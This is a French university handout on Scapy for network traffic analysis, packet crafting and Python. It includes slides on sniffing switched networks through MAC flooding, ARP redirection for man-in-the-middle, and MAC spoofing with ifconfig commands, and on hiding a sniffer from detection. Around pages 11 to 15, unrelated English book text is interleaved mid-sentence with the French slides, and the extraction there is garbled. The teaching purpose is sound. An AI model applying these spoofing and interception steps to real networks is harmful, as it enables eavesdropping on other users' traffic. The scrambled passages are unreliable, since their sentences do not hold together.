Vous êtes sur la page 1sur 78

Master 1 UE Rseaux Avancs II

Les Fourberies de Scapy

P-F. Bonnefoi
Version du 16 janvier 2013

Les fourberies de Scapy

Table des matires


1
1.1
1.2
1.3
1.4
1.5
2
3
3.1
3.2
3.3
4
4.1
5
5.1
6
7
7.1
7.2

Introduction lanalyse de trafic rseau . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .


Les lments de lanalyse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
De limportance des schmas ou pattern . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
La notion de signatures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Utilisation des signatures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Les rsultats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Quest-ce que Scapy ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python & Scapy : cration de module ou de programme . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python & Scapy : utilisation du mode interactif . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python & Scapy : suivre lexcution dun programme . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python & Scapy : intgration de Scapy dans Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python : programmation objet & classe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python : programmation objet & mthodes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python : aide sur les lments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python : aide & Introspection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Python : utilisation avance des squences . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Scapy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Scapy : aide sur les lments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Scapy : aide & Introspection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

5
6
7
8
9
10
16
17
18
19
20
21
22
23
24
25
26
27
28

Les fourberies de Scapy

7.3
Scapy : affichage de protocole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8 Scapy : structure des objets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.1
Scapy : structure des objets & empilement de couches . . . . . . . . . . . . . . . . . . . . . . . . . . .
9 Scapy et fichier pcap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.1
Les listes de paquets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 Scapy et lcoute rseau . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11 Dcomposition et composition de paquets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 Lenvoi de paquets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 Quelques injections : ARP & DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1 Quelques injections : DNS Suite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 Affichage descriptif dun paquet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15 Cration automatique de collection de paquets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15.1 Cration de fichier pcap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 change de paquet de Wireshark vers Scapy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17 Ajout de protocole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.1 Description rapide de STUN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.2 Exemple dajout de protocole : protocole STUN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.3 Format dun paquet STUN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.4 Ajout de protocole : les champs de longueur variable . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.5 Ajout de protocole : liens entre couches protocolaires . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.6 Exemple dajout de protocole : protocole STUN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

29
30
31
33
34
35
36
39
40
41
42
43
44
45
47
48
49
51
52
54
56

Les fourberies de Scapy

17.7 Ajout de protocole : retour sur les layers. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .


17.8 Ajout de protocole : comment aller plus loin ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.9 Exemple dajout de protocole : protocole STUN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.10 Ajout de protocole : intgration dans Scapy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.11 Test de lajout du protocole STUN dans Scapy. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17.12 Ajout de lextension MPLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 Scapy & IPv6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19 Scapy & NetFilter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20 Utilisation de dnsmasq . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
21 Le proxy ARP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22 Utilisation debtables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
23 LXC et interfaces rseaux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

57
58
59
61
62
63
65
66
73
75
76
77

1 Introduction lanalyse de trafic rseau

Lorsque lon analyse la trace de paquets changs dans un rseau, il est important de savoir
distinguer entre :
un stimulus , c--d un vnement, qui lorsquil arrive sur le rcepteur, dclenche une rponse ;
une rponse , c--d un vnement li la rception dun stimulus (modle comportemental).

Les fourberies de Scapy

Attention :
? le rcepteur est actif et attentif, et identifier le stimulus ne suffit pas toujours prdire la rponse ;
? les stimulus/rponses sont inter corrls, mais peuvent dpendre dautres lments indpendants : tat du rcepteur, seuil ou filtrage des stimulus ou des rponses, ncessit de plusieurs
stimulus diffrents reus dans un certain ordre, etc.
Lanalyse peut tre faite :
. en connaissant ltat exacte du rcepteur (en tant sur le rcepteur par exemple) ;
. sans connaitre ltat du rcepteur.
Dans certains cas, on essaye de construire un modle empirique de cet tat.

1.1 Les lments de lanalyse

Les lments sur lesquels on travaille sont :


. les paquets qui circulent dans le rseau, c--d dans le cas de TCP/IP, lensemble des champs
dentte du datagramme IP (drapeaux, adresses de destination, de source, fragmentation,
etc.) et des protocoles suprieurs (TCP, UDP, DNS, etc.) ;

. pour chacun de ces paquets, les champs qui les constituent :


 leur valeur, le sens attach ces valeurs, donne des informations sur lmetteur et sur son
intention lors de lenvoi de ce paquet ;
 ils donnent galement des informations sur le contexte de lchange, c--d pas seulement
sur lexpditeur et le destinataire, mais galement sur le travail des intermdiaires ou sur
les conditions rseaux (par exemple la fragmentation dun datagramme IP donne des informations sur la MTU, la dcrmentation dun TTL sur lexistence dun intermdiaire, la taille
des fentres TCP sur la congestion, etc.) ;

Les fourberies de Scapy

. des schmas, ou pattern, dchange rseau. Ces schmas fournissent, lorsquils sont reconnus, une information de plus haut niveau (par exemple, un change de 3 paquets peuvent
dcrire un handshake TCP et signifier un tablissement de connexion).

1.2 De limportance des schmas ou pattern

Ces schmas dchange peuvent galement tre appels des signatures .


Un attaquant :
crit un logiciel pour raliser une attaque, par exemple, par dni de service , ou un exploit ;
utilise ce logiciel sur un rseau ou une machine cible ;
laisse une signature (une trace dchanges de paquets), qui est le rsultat de la construction,
crafting , de paquets pour raliser cette attaque ou cet exploit.

Les fourberies de Scapy

Trouver cette signature, cest :


a. dtecter quune attaque a eu lieu (dtection post-mortem, ou forensic ), ou se droule actuellement ( Intrusion Detection System , avec ventuellement la possibilit dempcher quelle
russise : Intrusion Prevention System ) ;
b. dcouvrir lidentit de lattaquant (par exemple, pouvoir bloquer lattaque pour viter quelle se
poursuive comme dans le cas dun dni de service).
On peut faire un parallle avec la balle de rvolver, qui permet une fois analyse, didentifier le
ft du rvolver qui la tir.

1.3 La notion de signatures

La dtection de ces signatures, pattern matching , reposent sur :

? leur connaissance : connatre le schma dchange qui ralise lattaque ;


? leur dtection : pouvoir trouver parmi le trafic rseau que lon surveille, les paquets relatifs ce
schma (chacun de ces paquets peut subir des variations dpendant du contexte : adresses
diffrentes, ou bien dpendant de la vulnrabilit exploite : un contenu utilis uniquement
pour sa taille) ;

? leur enchanement :
 un schma peut tre ralis suivant des temps plus ou moins long et peut, ainsi, sentrelacer

Les fourberies de Scapy

avec un trafic normal ;


 un schma peut tre suffisamment ouvert pour rendre difficile la corrlation des paquets
qui le forme (des paquets provenant de source trs diffrentes par exemple).

? la capture du trafic : pouvoir capturer les paquets qui forment le schma. Il faut mettre en
place des capteurs ou sondes au bon endroit dans le rseau (sur un routeur avant le NAT
par exemple), pour pouvoir capturer convenablement ces paquets.

1.4 Utilisation des signatures

Ces signatures peuvent tre dtermines sur lensemble des protocoles :

sur la technologie rseau : par exemple qui concerne la couche n 2 comme Ethernet avec
les trames ARP, les VLANS, etc. ;

sur la pile TCP/IP : ce sont des signatures qui concernent les couches 3&4, c--d IP et transport
avec ICMP, TCP, UDP, etc. ;

sur les protocoles applicatifs : en exploitant des protocoles comme HTTP (attaques ciblant

Les fourberies de Scapy

le CGI par exemple), NetBios, etc.


Pour tre efficace, la dtection de certaines signatures passe par la connaissance et la cration
dun tat du rcepteur.
On parle alors de mode stateful : lattaquant va amener, par exemple, la pile de protocole de
la victime dans un certain tat avant de continuer son attaque (la progression de lattaque nest
possible que suivant ltat courant de la victime).
Des outils comme Snort , utilise ce systme de signature.

1.5 Les rsultats

10

Le rsultat de lanalyse peut conduire :

? la journalisation, log , de lattaque, avec ou non sauvegarde des paquets suspicieux ;


? lenvoi dune alerte ladministrateur : attention la notion de faux positifs , c--d lidentification errone dune attaque qui peut conduire saturer ladministrateur, qui ensuite ne fait
plus attention ces alertes mme si elles deviennent de vraies alertes ;

? la mise en place de contre-mesure : filtrage du trafic incrimin par reconfiguration du firewall,


envoi de paquets pour mettre fin une connexion TCP, etc. ;

Les fourberies de Scapy

? etc.

Retour sur les types de connexion

11

Utilisation de Switch
Le switch permet de faire de la commutation :
? il est diffrent du hub :
 inilthemet
en relation un port directement avec un autre pour une trame destination unicast ;
packet header and accept the data.The area that the hub forwards all information to is known as a collision domain (also known as broadcast domain). A hub has only
 one
il diffuse
sur tous les ports pour une trame destination multicast ;
collision domain for all traffic to share. Figure 1.4 shows a network architecture
with collision domains related to hubs. Large collisions make sniffing easier and
costly switches include better technology that makes them more
 create
il limite
collision
,hub.c--d l o ofresistant
il the
y more
atocomptition
pour accder au support
performanceles
issues
suchdomaines
as bandwidth hoggingde
or excessive
traffic on the
sniffing attacks.
de transmission,
: Collision Domains
Figure
1.4 Hub Collision Domains pour le mme domaine de diffusion
Figure 1.5 Switch
377_Eth_2e_ch01.qxd

11/14/06

9:27 AM

Page 26

377_Eth_2e_ch01.qxd

26

11/14/06

9:27 AM

Page 27

Chapter 1 Introducing Network Analysis

Introducing Network Analysis Chapter 1

External
Network

External
Network

Router

Les fourberies de Scapy

Hub

Collision Domain

Router

Switch

Hub

Collision Domain

A switch is also used to connect computers together on a shared medium;


however, when a switch receives information, it doesnt blindly send it to all other
computers; it looks at the packet header to locate the destination MAC address,
and maintains a list of all MAC addresses and corresponding ports on the switch
that the computers are connected to. It then forwards the packets to the specified
port. This narrows the collision domain to a single port (see Figure 1.5). This type
of collision domain also provides a definite amount of bandwidth for each connection rather than a shared amount on a hub. Because the price of switches has
fallen dramatically in the last few years, there is no reason not to replace hubs
with switches, or to choose switches when purchasing new equipment. Also, some

Attention

Collision Domains

As you can see from the diagrams, hubs make sniffing easier and switches make
sniffing more difficult. However, switches can be tricked, as discussed in the
Defeating Switches section.

Portavec
Mirroring
Pour diviser le domaine de diffusion : il faut des switch
VLAN.

www.syngress.com

If you are working on a network that uses switches and you want to perform network analysis legitimately, you are in luck; most switches and routers come with port
mirroring (also known as port spanning).To mirror ports, you have to configure the
switch to duplicate the traffic from the port you want to monitor to the port you
are connected to.
Using port spanning does not interfere with the normal operation of switches,
but you should always check the documentation of the exact switch you are config-

27

377_Eth_2e_ch01.qxd

28

Mettre sur coute le rseau ?


Les diffrentes solutions

. le port mirroring :

11/14/06

9:27 AM

Page 28

Chapter 1 Introducing Network Analysis

will increase the amount of traffic on a specific destination port, therefore, make sure
your properly configured network analyzer is the destination port. Also, consult the
documentation for your specific switch to learn the exact command to enable port
mirroring (see Figure 1.6).The switch is configured to mirror all port 1 traffic to
port 5, and the network analyzer sees all traffic to and from Computer A. Sometimes
administrators mirror the uplink port on a switch, so that they can see all of the
traffic to and from the switch and all of its ports.

12

Figure 1.6 Port Mirroring

On configure explicitement le switch pour dupliquer le trafic dun port


sur un autre.
Ici, le trafic du port 1 est relayer sur le port 5.
Il faut tre administrateur du switch.
Avec CISCO, on parle de SPAN : Switch Port Analyzer : spanning a
port = mirroring a port.

External
Network

Router
Port 1

Port 5
Switch

Computer A

Network
Analyzer

. Switch Flooding :
N
Span stands for Switched Port Analyzer. Cisco uses the word span to
 un switch contient une table dallocation (port,@MAC) ;
describe the concept of port mirroring. In Cisco terms, spanning a port is
the same as mirroring a port.
 si cette table devient pleine, le switch se comporte comme un hub et relais
les trames vers tous les ports ;
OTE

Il faut envoyer un grand nombre de trames avec des @MAC diffrentes pour remplir la table pour la flooder .
www.syngress.com

. Redirection ICMP : ICMP permet dindiquer le routeur que doit utiliser une machine spcifique pour aller sur

Les fourberies de Scapy

le rseau.

. ICMP Router Advertisements : ICMP permet dindiquer toutes les machines connectes au rseau la prsence
dun routeur ;

. Cable Taps : se connecter physiquement au rseau : le plus intressant tant dintercepter le trafic sur le uplink
du switch (c--d le trafic en remonte ou sortant).

Mettre sur coute le rseau ?

13

. Redirection ARPs :
 les requtes ARPs de correspondance @IP @MAC sont diffuses en broadcast, vers tous les ports ;
 seul le matriel concern rpond (il existe aussi des gratuitous ARP qui sont envoyes spontanment pour
informer).
> p
<Ether

dst=ff:ff:ff:ff:ff:ff src=02:02:02:02:02:02 type=0x806 |<ARP

hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=who-has

hwsrc=02:02:02:02:02:02 psrc=192.168.1.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.1.1


|<Padding

load=\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 |>

> p.summary()
Ether / ARP who has 192.168.1.1 says 192.168.1.1 / Padding

Il est possible de forcer le switch a renvoyer le trafic o il ne devrait pas :


prendre la place dune machine : Spoofing ;
prendre la place du routeur pour une machine particulire : MITM, Man in the Middle .

. MAC Address Spoofing : changer l@MAC de son interface rseau et prendre celle de la victime pour reconfigurer
le switch (on peut empcher la victime de reconfigurer le switch avec un DoS, Deny Of Service ).
# ifconfig eth0 down
# ifconfig eth0 hw ether 00:02:de:ad:be:ef
# ifconfig eth0 up

Les fourberies de Scapy

# ping -c 1 -b 172.16.0.255

Certains switch protgent lassociation entre une @MAC et un port la premire adresse reue.

. Port Spanning Reconfiguration on Switch : configurer le port mirroring .


Cela peut tre fait en se connectant la console dadministration du switch ou en utilisant SNMP, Simple Network
Management Protocol sil na pas t protg.

Comment dtecter les sniffer ?

14

Un sniffer est une machine interceptant le trafic qui ne lui est pas destin

? Surveiller les DNS Reverse Lookups , c--d les requtes DNS de rsolution inverse @IP FQDN, Full
Qualified Domain Name ou @symbolique.
Les outils de sniffing font ce type de requtes pour afficher des rapports plus dtaill. Il est possible de le dclencher en effectuant soi-mme un scan du rseau.

? Envoyer des paquets TCP/IP avec des fausses @MAC destination vers lensemble des machines.
Une machine en mode promiscuous ralisant du sniffing peut traiter un paquet qui ne lui est pas destin et
renvoyer un RST. Ne pas oublier dinterdire tout paquet en sortie dune interface de sniffing !

? Surveiller les ports des hubs : savoir si un port non utilis devient utilis. Il est possible dutiliser SNMP pour
surveiller cette activit.

? Utiliser le fonctionnement dARP : envoyer une requte ARP, non pas en broadcast, mais vers une adresse unique
bidon, puis envoyer un ping en broadcast : il se peut que la machine ayant un sniffer rponde car elle a
intercept la requte initiale (elle intercepte tout, y compris ce qui ne la concerne pas).

Les fourberies de Scapy

? une variante de la prcdente est dutiliser une requte ARP vers ladresse spciale ff:ff:00:00:00:00.
? Utiliser un honeypot , c--d une machine leurre contenant de fausses donnes et de faux services pour attirer
un attaquant et le forcer se rvler.

? Surveiller les ressources dune machine susceptible dabriter un sniffer : temps CPU et occupation disque (des
paquets conserver et analyser).

Layer 1: The Physical Layer Chapter 2

65

Comment
viter
dtre dcouvert
Figure 2.16 One-Way
Data Cable

15

? Construire un cble uniquement en coute , le One-way cable :


 la prise qui se connecte au switch sera modifie :
? le fil 1 est connect au fil 3 ;
? le fil 2 est connect au fil 6 ;
 mission et rception sont mis en
boucle.

? bloquer le protocole ARP sur son interface de sniffing :

Summary
$ sudo ip

Physical layer security is the cornerstone of all security controls. While security controls at
Linterface
nenverra
requte
neresults
rpondra avec des
other layers
may fail without
catastrophicpas
results,de
the loss
of physicalARP,
security ni
usually
in total exposure. Security controls cost money and many times their value is under-rated. A
Il faudra
utiliser
tables
(ARP,@IP)
large portion
of security
controls des
limit the
access ofdassociations
insiders with the side effect
being that it statiques.
limits many companies motivation to implement strong controls. We like to think that these
trusted employees are on our team, but numbers show that many more attacks originate
filtrer les messages ARP destination de ladresse
from inside of an organization than from the outside. Physical controls are not always expensive. Items like locks are relatively cheap yet deter and delay attackers. Session controls, password protected screen savers, and auto logoffs are also cheap to deploy. Good physical
security also requires the control of paper documents. Shredders are an easy way to prevent
dumpster diving.
Attacks on physical security are nothing new.They existed long before computer networks or modern organizations were envisioned.There are many tools at an attackers disposal. Lock pick sets, wiretapping equipment, and scanners are easy for an attacker to
acquire. Attackers with basic computer skills can use wireless hacking tools or acquire security equipment for disassembly and analysis. In the end, security professionals must realize
that they are not fighting a single battle, but are part of an ongoing war that will continue
for the unforeseeable future.

Les fourberies de Scapy

link set dev eth1 arp off

rponses ARP.

ff:ff:00:00:00:00.

2 Quest-ce que Scapy ?

16

une bibliothque Python : cela permet de profiter de tout lenvironnement offert par Python ;
un outil interactif la manire de linterprte Python ;
un wrapper autour de la bibliothque de capture/analyse de paquet de niveau
utilisateur libpcap ;
des fonctions qui permettent de lire et dcrire des fichiers pcap gnrs par WireShark
qui contiennent des captures de trafic rseau :cela permet de programmer un traitement
raliser sur un ensemble de paquets ;

des fonctions danalyse et de construction, des paquets rseaux partir de la couche 2


(capacit de forger un paquet) : cela permet de manipuler de manire simple des paquets
de structures complexes associs des protocoles courant ;

des fonctions denvoi de ces paquets et de rception des paquets rponses associs : cela
autorise la conception simplifie doutils efficaces ;

Les fourberies de Scapy

des fonctions dcoute, sniffing , du trafic rseau ;


des fonctions de cration de reprsentation :
 sous forme de courbes dun ensemble de valeurs calcules ;
 sous forme de graphe dchanges entre matriels ;
 sous forme de graphes de la topologie dun rseau.

3 Python & Scapy : cration de module ou de programme

17

La notion de module en Python est similaire celle de bibliothque dans les autres
langages de programmation ; la diffrence est que les instructions se trouvant dans un module
Python sont excutes lors de son importation.
Ce qui est normal car certaines de ces instructions servent dfinir les fonctions et constantes
du module.
Certaines instructions ne devraient tre excutes, ou nont de sens, que si le module est
excut directement en tant que programme depuis le shell, c--d en tant que programme.
Pour pouvoir faire la diffrence entre une excution en tant que module ou en tant que programme principale, il faut tester la variable __name__ :
1

Les fourberies de Scapy

if __name__ == "__main__":
print "Execution en tant que programme"

La possibilit dexcuter un module en tant que programme permet, par exemple, de faire des
tests du bon fonctionnement du module pour viter des rgressions (modifications entrainant des erreurs) et constituent la base des tests unitaires , mauvaise traduction accepte
de test de modules, unit testing.
Ces tests permettent de juger de la bonne adquation du module par rapport aux attentes, et
sont utiliss dans lExtreme programming, XP, ou la programmation agile.

3.1 Python & Scapy : utilisation du mode interactif

18

Python est un langage interprt qui met la disposition de lutilisateur un mode interactif,
appel galement interprte de commande , o lutilisateur peut entrer directement ses instructions afin que Python les excutent.
Dans ce mode il est possible de dfinir des variables, ainsi que des fonctions et tout lment
de Python.
Lintrt rside dans la possibilit de pouvoir tester/excuter rapidement des instructions sans
avoir crire de programme au pralable.
Ce mode est utilis dans Scapy, en utilisant la commande shell scapy, qui permet de lancer
un interprte de commande tout en bnficiant de tous les lments disponibles dans Scapy.
Il est possible de dfinir soi-mme dans un programme un basculement en mode interactif :
1

Les fourberies de Scapy

if __name__ == "__main__":
interact(mydict=globals(), mybanner="Mon mode interactif a moi")

Ici, lutilisation du mode interactif dans un source est combin avec la dtection dune utilisation
en tant que module ou en tant que programme.
On passe en argument mydict=globals() pour bnficier de tout ce que lon a dfini dans
le module sans avoir limporter lui-mme.

3.2 Python & Scapy : suivre lexcution dun programme

19

On peut lancer le programme dont on veut suivre lexcution pas pas :


python -m trace -t mon_programme.py

On peut galement obtenir la liste des liens dappels des fonctions les unes avec les autres :
python -m trace -T mon_programme.py

Si votre programme utilise le mode interactif, les informations ne seront disponibles que lors
de larrt du programme.
Le paramtre -m indique Python dexploiter le module indiqu ensuite, ici, trace .

Les fourberies de Scapy

Pour avoir plus doptions, vous pouvez consulter la documentation du module trace de
Python.

3.3 Python & Scapy : intgration de Scapy dans Python

20

Pour installer Python et disposer des dernires rvisions avec mercurial :

$ hg clone http://hg.secdev.org/scapy
$ cd scapy
$ sudo python setup.py install
Pour mettre jour, il suffira de faire la procdure suivante :

$ hg pull
$ hg update
$ sudo python setup.py install

Les fourberies de Scapy

Pour pouvoir utiliser les fonctions Scapy dans un programme Python il faut importer la bibliothque Scapy :
1

#!/usr/bin/python

# coding= latin1

from scapy.all import *

# le source utilisateur

laide de cette syntaxe spciale, les commandes de Scapy seront utilisables directement
dans votre programme, sans avoir les prfixer avec le nom du module (Attention aux conflits
de noms avec vos propres fonctions et variables).

4 Python : programmation objet & classe


1

"""Classe definissant une personne""" # Description de la classe

nombre_de_personnes = 0

# self fait rfrence linstance

def __init__(self, name, age): # permet linitialisation de linstance

# variable de classe

self.name = name

self.age = age

self.__numeroSecu = 0 # variable privee

Personne.nombre_de_personnes += 1

# permet de rendre ces variables uniques chaque instance

def intro(self): # Il faut donner en parametre linstance

11

"""Retourne une salutation."""

12

return "Bonjour, mon nom est %s et jai %s ans." % (self.name, self.age)

13

Les fourberies de Scapy

class Personne(object): # classe dont on hrite

10

21

p1 = Personne("toto", 10) # on ne met pas le self en argument

Remarques :
les variables dinstances prcdes dun prfixe __ sont prives et ne peuvent tre
accessible depuis lextrieur de lobjet ;
Mais, la notation p1._Personne__numeroSecu permet dobtenir la valeur de
lattribut. . .
Donc, on peut utiliser un seul _ et faire confiance aux programmeurs !

4.1 Python : programmation objet & mthodes

22

Il est aussi possible de faciliter laccs des variables dinstance, tout en gardant une capacit de contrle sur ces modifications avec le property :
1

class Personne2(object):

def __init__(self):

3
4

def _getNom(self):

return self._nom

def _setNom(self, val):

7
8
9

Les fourberies de Scapy

self._nom = indefini

self._nom = val
nom = property(fget = _getNom, fset = _setNom, doc = Nom)
p1 = Personne2()

10

print p1.nom # affiche indefini

11

p1.nom = "Toto" # defini le nom de p1

12

print p1.nom # affiche Toto

Complments :
Python intgre un garbage collector ou ramasse miettes,
il est possible de faire de lhritage multiple.
Pour accder une mthode danctre : ancetre.__init__().

5 Python : aide sur les lments

23

Les objets de Python sont capable dintrospection, c--d davoir la capacit de sexaminer euxmme.
On peut obtenir de laide sur un objet ou un module :
pef@pef-desktop:~/Bureau/project$ python
Python 2.6.4 (r264:75706, Dec

7 2009, 18:45:15)

[GCC 4.4.1] on linux2


Type "help", "copyright", "credits" or "license" for more information.
> help
Type help() for interactive help, or help(object) for help about object.
>

On peut attacher de la documentation au code Python lors de son criture :


1

def ma_fonction():

"""Cette fonction est vide !"""

pass
> help(ma_fonction)

Les fourberies de Scapy

Help on function ma_fonction in module __main__:


ma_fonction()
Cette fonction est vide !

Sur un objet, la fonction help, affiche lintgralit de laide disponible sur ses attributs (mthodes ou variables).

Les fourberies de Scapy

5.1 Python : aide & Introspection

24

Il est possible de :
connaitre le type dun objet : type(mon_objet) ;
connaitre lidentifiant unique dun objet (quivalent son adresse mmoire) :
id(mon_objet) ;
connaitre les attributs dun objet :
 dir(mon_objet) qui donne les lments de lobjet et de ceux dont il hrite ;
 mon_objet.__dict__ qui donne les lments uniquement de lobjet ;
la documentation sur une classe : Personne.__doc__
ou sur une mthode : Personne.intro.__doc__
savoir si un objet possde un attribut (variable ou mthode) : hasattr(objet, "nom")
qui renvoi vrai ou faux ;
Avec les fonctions getattr et setattr on peut manipuler ces attributs sous forme de
chane de caractre (ce qui est trs utile).
savoir si un lment est excutable : callable(element) ;
savoir si un objet est une instance dune classe : isinstance(objet, classe ;
savoir si une classe hrite dune autre classe : issubclass(classe, ancetre).

6 Python : utilisation avance des squences

25

Lors de la manipulation de paquets rseaux dans Scapy, nous apprcierons les lments avancs de Python suivant :
les list comprehension qui permettent de remplacer lutilisation dune boucle for pour la
cration dune liste par rapport aux lments dune autre, chacun ayant subi un traitement :
1

ma_liste = [ 1, 2, 3, 4, 5]

ma_liste_traduite = [ hex(x) for x in ma_liste]


[0x1, 0x2, 0x3, 0x4, 0x5]

les instructions map et filter, remplaces par les list comprehension :


1

def transformer (val):

return x = x + 3

Les fourberies de Scapy

def paire (val):


return not val%2

liste_transformee = map(transformer, ma_liste)

print liste_transformee

print filter(paire, ma_liste)


[4, 5, 6, 7, 8]
[4, 6]

7 Scapy

26

Scapy est la fois un interprte de commande bas sur celui de Python et une bibliothque :
pef@pef-desktop:~/Bureau$ sudo scapy
[sudo] password for pef:
Welcome to Scapy (2.1.0-dev)
> IP()
<IP

|>

> IP().show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1

Les fourberies de Scapy

\options\
>

Vous pouvez lutiliser en mode interactif. Vous devez lexcuter avec des droits administrateur pour tre autoris
envoyer des paquets de niveau 2 (trame Ethernet par exemple).

7.1 Scapy : aide sur les lments

27

Il est trs utile de pouvoir examiner les possibilits offertes par chaque couche protocolaire
laide de la commande ls() :

Les fourberies de Scapy

> ls(TCP)
sport

: ShortEnumField

= (20)

dport

: ShortEnumField

= (80)

seq

: IntField

= (0)

ack

: IntField

= (0)

dataofs

: BitField

= (None)

reserved

: BitField

= (0)

flags

: FlagsField

= (2)

window

: ShortField

= (8192)

chksum

: XShortField

= (None)

urgptr

: ShortField

= (0)

options

: TCPOptionsField

= ({})

Ici, on peut voir comment est constitu le paquet ou layer TCP, avec chacun de ces champs,
leur type et leur valeur par dfaut indique entre parenthse.
La commande ls() toute seule affiche tous les protocoles que sait grer Scapy. La commande
lsc() fait de mme avec lensemble des commandes.

7.2 Scapy : aide & Introspection

28

Il est facile de crer un paquet dans Scapy, il suffit dutiliser la classe qui le dfinit :
> b=IP()
> b
<IP

|>

Ici, laffichage indique le type mais pas la valeur des champs quand ceux-ci possdent celle
par dfaut.
> b.dst=164.81.1.4
> b
<IP

dst=164.81.1.4 |>

> ls(b)
version

: BitField

= 4

(4)

ihl

: BitField

= None

(None)

: ByteField

= 64

(64)

...

Les fourberies de Scapy

ttl
proto

: ByteEnumField

= 0

(0)

chksum

: XShortField

= None

(None)

src

: Emph

= 192.168.0.14

(None)

dst

: Emph

= 164.81.1.4

(127.0.0.1)

options

: PacketListField

= []

([])

Avec la commande ls(), on peut connaitre le nom de chacun des champs constituant le
paquet.

7.3 Scapy : affichage de protocole

29

Il est toujours possible daccder la reprsentation du paquet sous sa forme rseau, c--d
une suite doctets qui sont changs :
> b.show()

> hexdump(b)

###[ IP ]###

0000

4500001400010000 400014DEC0A8000E E.......@.......

version= 4

0010

A4510104

.Q..

ihl= None
tos= 0x0

> str(b)

len= None

E\x00\x00\x14\x00\x01\x00\x00@\x00\x14\xde\xc0\xa8\x00\x0e\xa4Q

id= 1

\x01\x04

flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 192.168.0.14
dst= 164.81.1.4
\options\

Les fourberies de Scapy

>

> b.show2()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 20

...
ttl= 64
